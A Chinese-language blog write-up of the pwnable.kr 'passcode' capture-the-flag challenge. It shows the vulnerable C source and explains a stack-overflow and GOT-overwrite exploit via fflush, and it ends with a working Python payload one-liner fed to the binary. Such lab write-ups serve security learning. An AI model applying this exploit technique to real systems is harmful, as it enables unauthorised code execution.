pawnable.kr-(5)[passcode]

最新推荐文章于 2024-08-30 09:23:04 发布

0bs3rver

最新推荐文章于 2024-08-30 09:23:04 发布

阅读量225

点赞数

CC 4.0 BY-SA版权

分类专栏： pawnable 学习笔记

本文链接：https://blog.youkuaiyun.com/weixin_43742794/article/details/95118006

pawnable 学习笔记专栏收录该内容

1 篇文章

订阅专栏

博客记录了在服务器端的操作过程。通过ssh连接服务器，用ls查看目录，cat打开源程序发现scanf赋值问题。将文件下载到本地用ida分析，利用name栈溢出给passcode1赋值，借助fflush跳转和got表，让passcode指向特定地址，以执行“/bin/cat flag”命令。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

使用ssh连上服务器端后
使用ls查看目录
再用cat打开passcod.c（即passcode的源程序

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

发现scanf无法正常给passcode1,2赋值
利用scp把文件下载到本地（pwd查看路径
扔进ida里分析
发现利用name的栈溢出可以且仅可以给passcode1赋值（栈帧从高往低生长
在代码里passcode1实际上是作为指针来使用
于是利用fflush的跳转
jmp 地址1 地址1里存放的是地址2 于是会从地址2开始执行命令
（实质是模块间调用跳转时got表的使用
于是让passcode指向地址1，这样可以在把地址1里的地址2改为我们想要执行的语句的地址
即 “/bin/cat flag” （需看ida里的汇编指令
在dos中先在服务器端创建文件
再使用文件打开passcode

python -c "print 'a'*96+'\x04\xa0\x04\x08\n134514147\n'" > /tmp/tectest
./passcode < /tmp/tectest